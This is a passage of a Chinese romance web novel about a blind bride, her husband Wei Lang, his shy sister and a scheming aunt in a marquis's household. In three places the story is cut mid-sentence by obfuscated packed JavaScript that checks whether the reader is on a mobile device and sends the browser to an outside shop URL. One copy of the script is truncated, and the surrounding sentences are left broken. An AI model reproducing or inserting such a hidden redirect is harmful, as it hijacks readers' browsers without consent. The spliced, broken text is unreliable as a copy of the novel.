卫琅清了清嗓子:“咳,不过是小事,所以我就没跟你提。” 程素只道:“麻烦老夫人了。” 老夫人笑道:“只要你们两个和和睦睦的,我一个老婆子倒有什么好嫌麻烦的。不过夫妻一体,有些事还是要好好通个气。毕竟天底下没有不透风的墙,纵是出于好心,哪一日被有心人捕风捉影,或是两相猜疑,也能平白生出嫌隙来。” 年轻的小两口双双应是。 早饭过后,自然又到了卫琅被扫地出门的时候了。 他昨日被老夫人和隆兴帝都先后点过,知道不好再像从前那样混日子,今日再出门已没有那么抵触了。 程素和卫若仍留在松芝堂,继续陪老夫人说话。 他前脚刚走,外面的仆妇来报,说是四夫人的病已经大好了,特意带了薛家那两位姑娘来给老夫人请安来了。 一阵脚步声夹杂着环佩叮当声后,程素果然又听见了薛氏的声音,她跟老夫人寒暄了几句后,笑吟吟道:“巧了,正好素素也在,怜儿、玉儿还不快来拜见。” 程素先前就已听说,薛氏娘家来了两个侄女的事,俱是十三四岁的年纪,其中一个叫薛怜,另一个名叫薛玉的。 她看不见二人的形容体貌,只听见两个娇滴滴的女孩声音,一个稍显尖细、一个格外娇柔:“怜儿/玉儿见过夫人。” 薛氏环视四周,随口问了句:“怎么不见阿琅他们?” 程素道:“侯爷不久前刚走,要去五城兵马司办差了。” 她目不能视,可卫若却是看得清清楚楚,一听说卫琅刚走,那薛玉的嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薛氏本来也没想她能答应,却不料程素看着不声不响的,竟然把话头转到了她身上,不由得挑了挑眉:“哦?” 程素淡淡道:“昨日我让人核查了府里前些年的账,里面有几处不妥,恰巧听闻之前有几年是您在管家,也想跟您请教一二。” 薛氏先是一僵,随即冷笑一声:“你这说的什么话,我这几年身子不好,手下除了几间外头的铺子,早就没管过那些事了。从前哪一年陈芝麻烂谷子的事,也要栽到我头上来。老夫人,虽是新媳妇进门,也断没有一上来就拿长辈作阀子的道理,您可要替我作主啊。” 老夫人从方才起就坐在上首一言不发,听了薛氏的话,也只是不疾不徐道:“素素不过是想向你请教,你既是做长辈的,怎么反倒急了。” 薛氏被噎了一下,脸色有些不好看。 场面一时冷了下来。 等了半天,程素这个罪魁祸首竟然毫无颜色,也没再递个台阶给人下,薛氏的牙几乎要咬碎了,面上只能勉强扯出个笑来:“是我的不是了。素素你若有什么想问的,只管打发人去莳芳院叫我。” 程素只道:“那就劳烦四婶了。” 薛氏的情绪来的快、恢复得也快,一转头又挂上笑脸:“你才嫁进来不久,平时若是无事,也要多走动才是。” 程素还未来得及答话,老夫人却似乎已经厌倦了眼前的这一切,忽而道:“好了,我也累了,你们都退下吧。” 薛氏今日特意带了俩侄女来,碍着有程素这么个外人在,椅子还没坐热,话也还没来得及说上几句,哪肯轻易离开。 她忙道:“老夫人可是头疼的老毛病又犯了,不如让怜儿她们帮你按按。” 老夫人漠然道:“怜儿和玉儿虽是你侄女,可说到底也是客,就不劳烦她们来伺候我这个老婆子了。她们既是来看望你这个姑母的,你的病如今也好了,她们也是时候多回家孝敬孝敬父母。” 这已是很不客气的逐客令了。 这下不仅薛家两姐妹挂不住脸,就连薛氏的脸色也青一阵白一阵,只能咬牙道:“……那儿媳就先告退了。” 等她们终于离开,老夫人的肩头也慢慢垮下,语气带着说不出的疲惫:“……我累了,你们也一起回去吧。” 卫若却不肯走,她看出了老夫人的闷闷不乐,轻轻扯着她的袖子,却被拉着小手交到了程素手上:“若若就交给你了,你帮我好生看着她。” 程素微微颔首:“您多保重身体。” 她牵着卫若,踏出了门槛,远远地只听见身后的门扇吱呀一声,缓缓合上了。 15. 第十五章 “哐啷——!” 身后屋内传来茶盅碎裂的声响,把刚走到院子的薛玉吓了一跳。 她下意识拍了拍胸口,跟薛怜对视了一眼,两人不约而同地加快了脚步。 出了莳芳院,登上马车后,她才忍不住抱怨:“姑母好大的威风呢,在老夫人那里没了面子,转过头拿我们撒气。” 从松芝堂一回来,薛氏进了屋就开始摔砸东西泄愤,不仅骂她们没用,还嘲讽她们都被人下了逐客令了,怎么还有脸留在这,不赶紧回家去。 薛怜撇了撇嘴:“可不是么,她这几年在老太太面前不比从前了,也就在我们面前摆姑奶奶的威风。当初命好嫁进了卫家有什么用,还不是连管家权都被夺了回去,可见也是个不中用的。” 虽然薛氏嘴硬,对她们说是自个儿身子不好,不想里外操劳,才不再打理中馈的,但几年看下来,谁还看不明白呢。 侯府家大业大,任谁来打理家业,过手的不是白花花的银子,就是田庄和铺子,谁会平白无故跟钱过不去。 薛玉也道:“也就是她现在手里还有两个钱就是了,家里才哄着她。等将来咱们都嫁进了侯府,肯定比她能讨老夫人欢心。她一个寡妇,又没儿子又没丈夫的,早晚得看我们眼色呢。” 薛氏怎么也想不到,她有意谋划让两个侄女嫁进卫家,为她再添一层助力,两人却早做好了反咬一口的打算。 只是眼下,薛家两姐妹倒还知道自己的斤两,暂时用着她不好撕破脸皮罢了。 薛怜想起了什么,忽而笑道:“就算现在咱们也不怕,就她做的那些事,真要传了出去,卫家也饶不了她。” 薛玉想到什么,也是不怀好意地一笑:“说的也是。” …… 另一边。 回抱筠居的路上,卫若一声也不吭,只闷头跟着走。虽然她从前也不怎么说话,不过此时的低落也显而易见。 程素什么也没说,回去后也没急着进屋,而是让人先把两只细犬牵了过来。 自从进了侯府,原先那两只小狗也不能像整天待在程素院子里了,而是早早被小心眼的某人安排到了别处养着。 好在一直有人精心伺候着,两只小家伙仍然油光水滑、精神抖擞,远远地闻到了主人的味道,就欢快地汪汪直叫。 它们一出现,就把卫若的目光吸引了过去,明明身子还下意识地往程素身后躲,眼却几乎一刻也不肯错开。 白芷笑道:“姑娘不用怕,两只小狗可乖呢,不咬人的。” 卫若只是后退摇头,直到程素鼓励她:“没关系的,你摸一摸。” 她这才大着胆子,用指尖轻轻地触了一下那绸缎般光泽的皮毛,又迅速缩了回去,见那两只细犬果真不咬人,她这才大着胆子,又上手摸了几下。 程素轻声道:“我眼睛不便,没法陪它们玩,你代我陪它们玩一会儿可好?” 卫若点点头,在丫鬟们的指点下,跟两只细犬玩起了接抛藤编球的游戏。没一会儿的功夫,就出了一身汗。 她从小到大还少有这样玩得痛快的时候,兴奋得小脸涨红。可一回头看到程素还孤零零站在原地,顿时有些不好意思,带着小狗们又回到了程素身边。 程素俯下身,摸索着用帕子替她擦了擦额头的汗,温声道:“累不累?出了汗再吹风是要着凉的,我们先进屋里喝口水,再来陪它们玩可好?” 卫若乖乖地点头,随她往屋里走。 回到屋里,她才想起来之前的事,只是和先前不同,刚刚沉重的心情,早已在刚才的跑动中一扫而空了。 卫若犹豫再三,还是扯了扯程素的袖子,凑在她耳边小声道:“……素素姐姐,若若有些话想跟你说。” 不一会儿的功夫,丫鬟们都被屏退了,屋里只余下了她们两人。 卫若常年鲜少与人交谈,偶尔开口说一两句还好,一旦她想表达什么,总是不免磕磕绊绊,越说越慌乱。 不过从她断断续续、破碎混乱的叙述中,程素还是听明白了她的意思。 她说的是和四夫人薛氏有关的事。 卫若自幼身体孱弱,还有个怕见人的毛病,对从前的事也只隐约有些印象。她依稀还记得,前些年的时候,四婶和祖母的关系还是很好的。 老夫人还活着的儿子儿媳常年不在身边,孙辈们年龄又小,家里只有一个儿媳妇薛氏年纪轻轻就守了寡,故而对她格外信重倚赖,把管家权都交给了她。 直到几年前有段日子,老夫人忽然频频礼佛,经常去小佛堂一待就是大半日。 有一日,卫若去小佛堂寻她时,却从门缝里发现薛氏竟然也在,正跪在地上对老夫人哭诉什么,吓了她一跳。 她没敢偷听,悄悄地溜走了。 可从那之后,薛氏便不和过去一样常来松芝堂陪老夫人说笑了,整个人也变得怪怪的,还被收回了大半的管家权。 至于老夫人那边,她虽然不会跟卫若一个小孩子说什么,但卫若仍能感觉到,老夫人私下再提起薛氏时,口吻也没了往常的亲昵,反而有些冷淡。 卫若知道,这中间一定是发生了什么,以至于两人生分了,但她始终还记得从前两人还要好的时候。 听到这里,程素问:“所以,若若你不希望我与薛氏起争执,免得不小心得罪了老夫人,对吗?” 卫若点了点头,想了想又摇了摇头。她一时有些糊涂了,又不知道怎么说清楚:“……不想……素素受欺负……” 她当然想大家都能好好的,不想有争执,不想让老夫人难做。 可她也不想让程素被欺负。 从她们仅有的两次碰面里,就连迟钝的卫若也能感觉到,薛氏对程素的态度实在有些微妙,很难称得上善意。 她说这些,明明是想能帮上程素的忙,可话好像怎么说也不对。 卫若一时脑子里乱乱的,又听程素问:“那么若若你呢?不说我,也不说老夫人,你怎么看四夫人呢?” 卫若嗫嚅道:“……若若不喜欢,祖母会伤心。” 薛氏从很早起就不喜欢她。 她从前的胆子比现在还小,人也笨,一句话也说不利索,四婶只有在祖母面前,才对她笑脸相迎。 到了后来,薛氏常常让侄女们来府里玩,说是让她们给卫若当玩伴。可卫若看得出来,薛怜和薛玉打心眼里看不起她,只是为了找借口多来侯府,或者接近二哥,也不愿意和她们多接触。 可她宁愿自己委屈,却也不想真的与对方起什么争执,让老夫人为难。 程素摸了摸她的头:“我明白了。” 尽管她嫁入卫家的时日不长,但她知道的其实远比卫若想象得还要多。 卫家人太少了,偌大的侯府只有孤零零这么几个主子,突然多了程素这么一个外来者,就像一颗石子投入湖中,注定要激起无数涟漪。 薛氏虽然在侯府经营多年,但看不惯她的人也同样不在少数。再加上老夫人明显放弃了她,掌家权反而落在了刚进门的程素手里。从她入府后不过短短数日,就有不少人明里暗里给她递过一些话。 那些风言风语真也好,假也罢,程素并不在意。正如同卫琅之前说过的,以侯府的情况,怎么也不会缺了他们长房。 薛氏或许日后能在别的事上给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042857|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她使些小绊子,可很难从根上动摇什么。 程素并没有要与她分个高低的想法,只是有的事,可就算她想睁一只眼闭一只眼,松芝堂那边也未必情愿。 从李嬷嬷特意送来账簿那一日,程素便猜到了老夫人的心意,她只做她应做的。至于日后如何,只看她老人家最终有没有决痈溃疽之心了。 不过这些就暂时没必要告诉卫若了。 程素安抚好了她的情绪,带着她一起看看账册,闲了就逗逗狗、讲些乐理。 不知不觉,大半日又过去了。 卫若在程素这里一直待到傍晚,才不好意思地准备离开。 孰料她还没来得及告辞,就见木通匆匆回来报信,说是卫琅今日又赶上了二皇子宴请,推脱不得,还不知夜里几时能回来,让她们不用等他回去了。 若是太晚他还回不来,就请三姑娘今晚也多留一会儿。 卫若小心地看了眼程素的脸色。 兄长已经接连两日找借口晚归了,怎么看都让人很难放心。若他只是贪玩,找个借口,又跟往日那帮朋友混在一起就罢了,可若他真学坏了可怎么办呢。 她只怪自己口笨嘴拙,憋了好一会儿只能道:“素素姐,若若陪你。” 程素哑然失笑,本想跟她解释,事情恐怕不是卫若想的那样。 依照卫琅的性子,他若是真有意要冷落她,用不着找些有的没的借口。 不过话到了嘴边,她也只是笑着摸了摸卫若的脑袋:“好啊,那今晚咱们还一起睡,不理那不着家的人。” …… 卫琅那边也郁闷得很。 他今日一早就出了府门,雄赳赳气昂昂地去了中城的兵马司衙署。 说来也尴尬,他在隆兴帝那领的五城兵马司总指挥使眼下只是个空头衔,就连独属于自己的正经衙署都没有。 所谓的五城兵马司,即把京城划分为东西南北中五个区域,分设各城兵马司,各司设一名指挥使统领,负责京城治安、追捕盗贼、防火打更等诸多事项。 各城有各自的兵马司,从前却没有设总指挥使一职,故而也没有独立的官署,故而卫琅随便挑了个倒霉蛋去了。 那中城的兵马司指挥使正在衙署坐着喝茶呢,哪成想这位爷今日竟然跑来了,连忙腾出位置一边伺候着,一边打发了人赶紧去通知另外几位同僚。 卫琅也不跟他客气,大马金刀地往位子上一坐。不一会儿的功夫,分管其他四城的另外几位兵马指挥使也闻讯而来。 他们来的时候也不空手,一进门就齐声道:“属下恭祝侯爷新婚!” 卫琅虽然不缺他们这仨瓜俩枣的,他自认身为纨绔,也不摆什么清廉的架子,翻翻礼单,也就自然地笑纳了。 收完了礼,他也不闲着,主动问起了几位指挥使平日如何管辖各城的,一时之间令几个老油子惊疑不定。 卫琅若只是个寻常的纨绔,他们也顶多只是看在侯府的名头上,敬他三分而已,可谁让人家还是陛下眼前的红人呢。 就依照这位的家世和受宠程度,来五城兵马司充其量只是混日子,等过了这段时间,指不定又要高升到哪儿去了。 但他突然过问得如此之细,难保不是身负皇命。就算没有,万一他将来在御前随口说句什么,也够他们喝一壶的。 正当几位指挥使们汗流浃背之时,门外突然传来声音,及时解救了他们:“卫大侯爷,您这新婚燕尔,可一连好些天没出来露面了,想见你一面可真不容易。” 为首的人一抖折扇,正是齐文羽。 卫琅抬头一看,呵,原来是他的那群狐朋狗友来了。 16. 第十六章 卫琅当即笑道:“既是来恭贺我新婚的,怎么也不见你们带贺礼。” 众人:…… 明明他大婚那日,他们都已经封了贺仪,这人竟然还好意思再伸手。短短数日不见,这厮的脸皮是越发长进了。 不过都是从小玩到大的兄弟,彼此也知道对方是什么德性,齐文羽摇摇扇子道:“行了,我那最近新得了几张好皮子,赶明儿就给你送去。” 卫琅也不客气,狮子大张口道:“我要那种通体雪白、没有一丝杂毛的,回头给你们嫂夫人做件白狐裘。” 齐文羽:……他倒是真好意思。 众人也有数日不见,一时天南地北地胡侃起来,没说上几句话,卫琅忽然想起什么,笑嘻嘻道:“都是自家兄弟,我也不亏待你们,如今我领了差了,回头就跟陛下给你们也都请个官做做。” 他这个总指挥使初上任,手底下连个能用的人都没有,正好把他们诳来作伴。 齐文羽矜持一笑:“我就不用麻烦了,家里早给我安排好了去处。” 原来,他家里看他整日游手好闲不像话,正好他兄长在禁军任职,便打算找个由头把他塞进禁军里,好好历练一二。 卫琅一听,脸拉得老长。 他之前就觉得隆兴帝不厚道,明明他打了个胜仗回来,却让他领这么份儿差,齐文羽这种油头粉面的二世祖,却能混进禁军。这么一看,他果然还是被坑了。 自己被坑固然令人惋惜,但兄弟的成功更令人揪心。 卫琅冷哼道:“等我改日就奏禀陛下,先把你这纨绔踢出禁军队伍。” 旁边另一人笑道:“要说纨绔,谁能比得上你卫小侯爷啊。” “就是,陛下还让你管这五城兵马司,这不就跟那狐狸掉进了鸡窝里。往日你惹事的时候,他们就不敢拿你怎么样,如今你可成了他们的顶头上司,他们不得把你这尊大佛供起来。” 身后几名指挥使俱是一脸苦笑。 话虽说得不好听,却是实情。他们这些人表面上看起来掌管着整个京城的治安,却也不过是个六品官。在京城皇亲国戚满地走,大小官员不如狗的地界上,那是谁也不好得罪,只能受夹板气。 像卫琅这样的祖宗,以往他们碰上了是一个头比两个大,只能敬着。 卫琅眼角的余光瞥见那几位指挥使脸色不好看,随口道:“行了行了,还会不会说话,如今都是一家人了,以后还要互相关照。今日我头一天上任,做东请大家去得月楼那里吃顿便饭。” 几位指挥使还在你看我我看你,众纨绔们却已轰然叫好,难得能宰卫琅一顿狠的,自然没人想跟他客气。 一群狐朋狗友拉拉扯扯着,正准备去找个地方玩乐,刚出了大门就被人堵住了,说是二皇子请几位赴宴。 卫琅:??? 皇家这群人是逮着他薅没完了是吧? 虽然不满,可他还是不得不去。 昨日他刚去了太子的宴会,今日若转头拒了二皇子的邀约,指不定被有心人添油加醋,又要传出什么话来。得罪了人不说,还要给家里惹一身麻烦。 像他们这种人家,本就是武将出身,最忌讳的就是卷进皇子的争斗中。 等到了那边,果然不出卫琅所料,二皇子那边的宴会也同样冗长又无趣,仍是一群人捧着二殿下溜须拍马,或是有意无意拉拢试探,没意思透了。 然而再怎么没意思,人在京城这地界上混,基本的人情世故还是要懂的,卫琅不得不硬着头皮应酬下去。 这一来二去,时辰便不早了。 眼看今晚是暂时回不去了,他只得打发木通先回去,给程素报个信。 虽然他昨日被妹妹占了被窝,的确是有些不快。可转头一想,他尚且出来玩乐,素素却只能自己孤零零待在府里。 与其让她白白等他,倒还不如让人好好陪她一会儿。 等到夜深人静,酒阑人散后,卫琅再回到抱筠居时,天已近亥时,听丫鬟们说,程素跟卫若早在一刻钟前地睡下了。 他顺着门缝,探头探脑地往里头看:“那也才刚睡下,素素还没睡着吧,让我进去看一眼,一眼就走。” 白芷左拦右挡,却怎么也挡不住他想要溜进去的心,只好自己站在门口万分警惕地守着:“侯爷,说好了只看一眼,只看一眼您就出来,千万别惊了她们。” 卫琅胡乱嗯嗯哼哼了几下,也不知应了还是没应,拔腿就往屋里走。 卧房里很是安静,尽管光线有些昏暗,不过借着月光,勉强还能视物。 他悄无声息地摸到了床边,透过帷幔,只见程素恰巧睡在床的外侧,里面隐约还有个脑袋,应该就是卫若了。 到底是一天没见了,他一屁股坐在床边,盯着被子里裹着的人看了又看。 程素正闭目安恬地睡着,浑然不知身旁正坐了个人。 她这人性情温柔恬淡,说话也细声慢气的,再好的性子不过,可卫琅平日里看她,总觉得她有几分疏离,仿佛怎么也猜不透她心里在想什么。 然而眼下,她整个人被严严实实地裹在锦被里,只露出个脑袋来,眼睛紧闭,睫毛浓密而整齐,竟然不自觉流露出一种罕见的乖巧呆气,怪惹人怜爱的。 卫琅左看右看,竟鬼使神差地撩开帐子,飞快地往她额头上亲了一下。 门口立即传来白芷刻意压低的催促声:“侯爷,人也看过了,赶快走吧。” 他还没来得及回味,只好匆匆起身,闷头就往外走。然而心情激荡之下,一时不察,路过案几时竟然狠狠撞了一下桌角,下意识发出了一声闷哼。 他正疼得龇牙咧嘴,身后传来迟疑的询问声:“……侯爷,您可还好?” 程素竟然醒了。 卫琅瞬间来了精神,也忘了疼痛,一溜烟又回到床边:“你醒啦?” 程素轻轻比了个噤声的手势:“小声些,去外面说,莫把若若吵醒了。” 她本意是等她起身后,让卫琅牵着她移步至外间,却不曾想忽然整个人身体一轻,整个人被拦腰抱了起来。 程素下意识抓住了他的衣襟,好在只有几步路的距离,她很快就被放在了圆凳上,又听卫琅笑道:“你也未免太轻了,回头可得让小厨房给你好好补补。” 虽是体贴的话,不过从这人的嘴里说出来,似乎总带着三分调笑的意思。 程素怎么回答也不是,只好问:“侯爷刚刚撞到哪里了,可还疼着?” 卫琅顺着竿子就往上爬:“是有点疼,要不你给我揉揉?” 程素脸颊微热,假装没听到,反而催促道:“……这么晚了,侯爷早些休息吧,若若已经睡了,我也要睡了。” 卫琅装模作样地叹了口气:“才见到就要赶人走,哪有你这样的。都快一天没见了,好不容易才能说上句话。我可想你呢,你怎么一点也不想我?” 明明里一早出门前也不是没说过话,可见他大有撒娇耍赖、不达目的誓不罢休的架势,程素只好认命道:“……想的。” 她的声音几乎微不可闻,卫琅本想装作没听见,非让她再说一遍不可,可见她难得这般,到底还是心软了。 他望了一眼她身后的帐子,随口道:“你跟若若的关系怎么这么好,这丫头从小胆子就小,除了老夫人,谁都不亲,就是见了我也躲躲藏藏的。” 卫琅本是随口感叹,可话一出口,不知怎么想起新婚后头一日,他带程素去给老夫人敬茶那天,姑嫂二人携手的画面了,心里竟越想越吃味。 自家妹妹是什么性子,他又不是不知道。老夫人为了让她能亲人些,不知耗费了多少心思。四婶在府里多少年了,那丫头见了她就跟老鼠见了猫似的。她能跟素素才认识多久,就好到同榻而眠了? 还有素素也是,她整个人淡淡的,对他也淡淡的,怎么就看上这么个小丫头,还一再把她带在身边? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056947|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程素轻声道:“……侯爷昨日不是问过一回了?” 卫琅这会儿正是疑心病犯了的时候,语气也酸溜溜的:“问是问过了,还不许人再问一遍。你跟我说说,我还没回京那会儿,你们是怎么认识的?” 程素当真仔细回想了一下。 她并不记得自己做过什么特别的事,只记得那时老夫人常常邀母亲来府上闲谈,她在一旁作陪。 来的次数多了,有那么一两次,自然而然地也就碰见了卫若。 长辈们谈话,她们不好参与,老夫人怕她们嫌闷,便让她们自己四处转转。 卫若生怕她摔了碰了,常小心翼翼地要扶着她,绞尽脑汁地想陪她解闷。 她虽然不善言辞,却是个极其心细体贴的好孩子,也许是看程素目不能视,对她多一份怜悯;也许是她自幼便是被人照顾的那个,头一次遇到还需要她来帮忙的人,故而对程素格外亲近。 两个人常常坐在水边,或是亭子里,有时候也不说话,一坐就是大半天,后来不知怎么地就熟悉起来了。 说来说去,话一绕到程素的眼睛上,卫琅就连吃醋的劲儿都提不上来了。 他望着对面,想象着那双眼尚还清亮时的样子,忽而没头没脑地来了一句:“……再等上一年半载就好了,你的眼治好了,你就能看见我了。” 程素一怔,有些不解:“就算没治好,我现在也能听见侯爷说话。” 卫琅眉头一扬:“那不一样,等你能看见了,就会知道我也是相貌堂堂,生得一表人才呢。不说让你一见倾心,也肯定让你……呃,念念不忘!” 他自吹自擂到最后,还是把话头险之又险地收了回来,没好意思把牛皮吹破。 程素忍俊不禁道:“好,等我的眼好了,一定好好看看侯爷的模样。” 年轻的小夫妻二人絮絮低语了好一阵子,程素的声音也带上了些倦意。就是再怎么恋恋不舍,还有一肚子说不尽的话,卫琅也知道,时候不早了。 他正打算把程素再抱回床上,忽然想起什么,冷不丁问道:“素素,你方才……是什么时候醒的?” 程素沉默了。 她不肯说话,卫琅心里却得意了起来。让她刚刚装睡吧,这下就是明知道自己被他亲了也不敢声张了吧。 可惜屋里太暗,他也不能好好看看,素素这会儿脸上有没有红晕。 卫琅故意逗弄她:“素素,你怎么不说话了?是有什么话不好意思说吗?你我可是夫妻,有什么是不好张口的。” 眼看他越发得意,程素终于幽幽开口:“……侯爷,你知道半夜突然被惊醒,发现床头站了个人是什么感觉吗?” 卫琅:…… 这一瞬间,屋里静得落针可闻。 他迅速起身:“不说了,再等一会儿若若该醒了,我抱你回床上。” 程素只觉身子再次一轻,就被卫琅笨手笨脚地又塞回了被子里。他还没忘给她盖好被子,把她裹成了个茧才停手。 借着给程素掖被角的机会,卫琅俯下身,又轻轻嗅了嗅她鬓发间的清香,这才心满意足地摸黑溜走了。 等听到关门声和逐渐走远的脚步声,被窝里的程素这才松了口气。 然而她这口气显然是松得早了。 身旁传来窸窸窣窣的动静,旁边的被子一动,一个小身子凑了过来。 程素侧过了身,脸面向卫若那边,歉意道:“把你吵醒了。” 卫若同样面向她而卧,先摇摇头,又小声说了句没事的,然后又没了话。 程素静静地等了一会儿,黑暗中果然传来卫若细弱的声音:“素素姐姐,所以……你刚刚是什么时候醒的啊?” 小丫头这会儿说话非但不磕绊了,语气里反而还满是好奇 一句话问得程素的呼吸忽然乱了一瞬,耳廓也隐隐发起烫来。 可她什么也没说,只道:“睡吧。” 17. 第十七章 北风卷地,百草摧折。 寒风呼啸而至,一场雪又一场雪过后,日子倏地就到了年底。 转眼间,程素进门也快三个月了。这段日子,卫琅的日子过得格外充实。 白日,他闲着没事儿就带着五城兵马司的人巡街,晚上下了值就回去陪媳妇,再也不给卫若一丝可趁之机。 如今的他,早已不用半夜等程素睡着了,再偷偷摸摸把人搂到自己怀里,而是已经光明正大地睡同一个被窝。 尽管两个人至今尚未圆房,不过卫琅能察觉到程素那种无声的纵容。若是他胡来,说不定也能…… 当然,他到底还是有贼心没贼胆,迄今为止,还停留在抱抱摸摸的阶段。 少年人一身的精力无处发泄,他只能转头把注意力放在外头的事上。 先前隆兴帝特意点过卫琅,让他好好办差,他不仅得在五城兵马司总指挥一职上做出些名堂,还得想法子早日脱身,故而不得不打起精神来。 办法说来也简单,五城兵马司不就是维护京城治安吗,什么泼皮恶霸、地痞贼盗之流,统统抓个干净便是。 还有一些白日在街上纵马、调戏良家女子的纨绔子,也统统抓了丢进去。管你平日爹是什么刑部侍郎,娘是什么大长公主的,都统统扔进大牢里。 前者尚还好说,背后就算有些靠山,也不过是什么国公府的门房、将军府的第四房小妾的兄弟之流,后者可远不是平日里的五城兵马司能得罪的起的。 不过如今他们的顶头上司换成了卫琅,事情自然不可同日而语。 卫琅从前好歹也是在纨绔堆里混大的,一半跟他相熟的,打声招呼,交了罚金放人,对方也识趣地不再给他添麻烦; 另一半则是往常也跟他不怎么对付的,被卫琅逮着机会了,自然逃不了被好好整治一番。 他家世又高,找茬的分寸也拿捏得十分刁钻,刚好处在一个让人难受,又不至于得罪人到狗急跳墙的地步,不出几天,就把一群人收拾得服服帖帖的。 一时之间,京城的风气竟为之一清。 隆兴帝还来不及高兴,紧接着又被如同雪片般的弹劾奏折给气得够呛。 卫琅虽处理了一群地痞恶霸,可他也没少仗着维护京城治安的名头惹事。 他不知哪想出的歪点子,闲着没事就让手底下的人去青楼附近蹲点,专抓大小官员,尤其是那些背地里一些跟他作对的官员,还美名其曰是纠察风纪。 据说最倒霉的是翰林院一个姓韩的编修,几次三番去找红颜知己喝酒时,都被逮了个正着,回家后又被家中的河东狮大闹一通,闹得面上无光。 卫琅这边敢拿人刷功绩,自然也有人想找他的不痛快,就比如他如今名义上的顶头上司——巡城御史们。 五城兵马司原属巡城御史治下,而御史这个群体素来又看勋贵不顺眼。 一看卫琅这个昔日纨绔摇身一变,竟然也人模狗样地跟他们抢起了饭碗,自有人不满,隔三差五要找由头刁难他。 卫琅上次出京前,就跟一些人结过梁子,这次当然也不会怵了他们。 这边有人明里暗里找他的茬,另一边他就掀了对方的老底。 不过短短数月,满京城的热闹就没停过,今天是听说某某官员家在外面养了个外室被捅到夫人跟前,次日当值脸上多了几块青紫;明天又听说某某御史私下在外收受贿赂时,被人当场撞破等等。 京中漫天八卦齐飞,街头巷尾的茶馆每天聊不完的话题,混乱又热闹。 消息传至宫中,据说隆兴帝气得砸了好几个茶盏,只道再这样下去,朝廷的面子尽失,定要把卫琅撤职了。 可御史们翘首以盼,等了一日又一日,也不见卫琅被罢职,这下气得撸起袖子,连着隆兴帝也一并骂了。 卫琅那边闹腾得欢实,程素她们在府里也没闲着,越是接近年关,也是府里女眷们越发忙碌的时候。 老夫人不喜热闹,再加上人丁零落,卫家多年来没有操办过什么宴会,哪怕年关时节也婉拒客人登门,只是自家人关起门来简简单单过个年。 但逢年过节再怎么简单,祭祖是少不了的,还有各地的庄子管事,要纷纷进京报账,与侯府交好的故旧人家,哪怕不走动也要备上节礼,打点人情; 以及远在边关的二房一家,备给他们的书信和节礼也该早早发出去,这样赶在过年前他们便能收到了。 零零总总的杂事加起来,足以让人忙得脚不沾地。何况程素和卫若两个,一个双眼尚未痊愈,一个年少荏弱,纵然有底下的人帮忙,一时也是分身乏术。 就连卫珏有时候从国子监下了学回家,也常回家来帮忙写帖子。 这个时候,卫琅就只能讪讪地待在一旁当摆设,谁让他往日不学无术,那一手烂字浑像螃蟹乱舞,如今只好干瞪眼。 傍晚时分,一家子照常在松芝堂用过晚饭后,老夫人望着眼前出落得如芝兰玉树般的孙子孙女们,忽然感慨道:“……你们如今也大了,再过几年,阿珏也要娶亲了。等来年,素素的眼也治好了,我们家是时候多与外面走动,若若也跟你素素一起,不要闷在屋里。” 那些年她丧夫又接连丧子丧媳,心情郁结,每至逢年过节,望着别家子孙满堂,不免心中黯然,只得闭门谢客,府里多年来也冷冷清清的。 可如今孩子们纷纷大了,总不能因为她这个老婆子,也被困在了过去。 也是时候向前看了。 得了老夫人这边的意思,程素跟卫若一商量,便决定今年怎么也要比往年稍稍热闹一些,故而提前半个多月,侯府便早早开始扫洒除尘、修缮采购。 沉寂了多年的定远侯府,一时之间隐隐有了些不一样的气象。 …… 侯府众人正喜气洋洋准备迎接年关来临之际,另一边的莳芳院却安静极了。 腊月里正是冰天雪地的时节,屋内的地龙烧得格外暖热,令人昏昏欲睡。 薛氏今日无所事事,难得犯了懒不想出门,倚在一张黑檀木美人榻上闭着眼,几个小丫鬟有人给她捏肩,有人给她捶腿,都在小心伺候着。 忽然,薛氏想起了什么,睁开眼问道:“今年那些管事们怎么还没有进京?我算算时间,也该到日子了。” 小丫鬟支支吾吾了一会儿,才硬着头皮道:“……昨日就来了,今日也来了,这会儿正在前面见少夫人和三姑娘呢。” 薛氏的身子瞬间坐直,见她瞪着眼,吓得小丫鬟们连忙跪在地上。 前些年薛氏还管家时,当时是何等的威风,底下的人哪个见了,不毕恭毕敬地喊一声四夫人;就是当年她被松芝堂那边收回了大半管家权,外地那些人逢年过节进京,也不会忘了私底下孝敬她的那份。 可如今人都已经来了府里,竟然没有 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薛氏越往前走,心里那团原本已经熄了一半的火越烧越旺。 起初,她并没有把抱筠居那个瞎子放在眼里,甚至还松了口气。 倘若卫琅迎娶的当真是一位高门贵女,她还要发愁以后如何与对方相处,更别提怎么与对方争夺掌家权了。 听说了程素的身世后,她还笑话过松芝堂一阵子,那老婆子平日自诩精明,眼里容不得一粒沙子,临老还是昏了头。 可谁能想到,老太婆竟然那般看重那个瞎子,不惜处处给抱筠居做面子,明摆着让旁人都知道那边压了她一头。 既然都不想让她好过,那她们也别好过了! …… 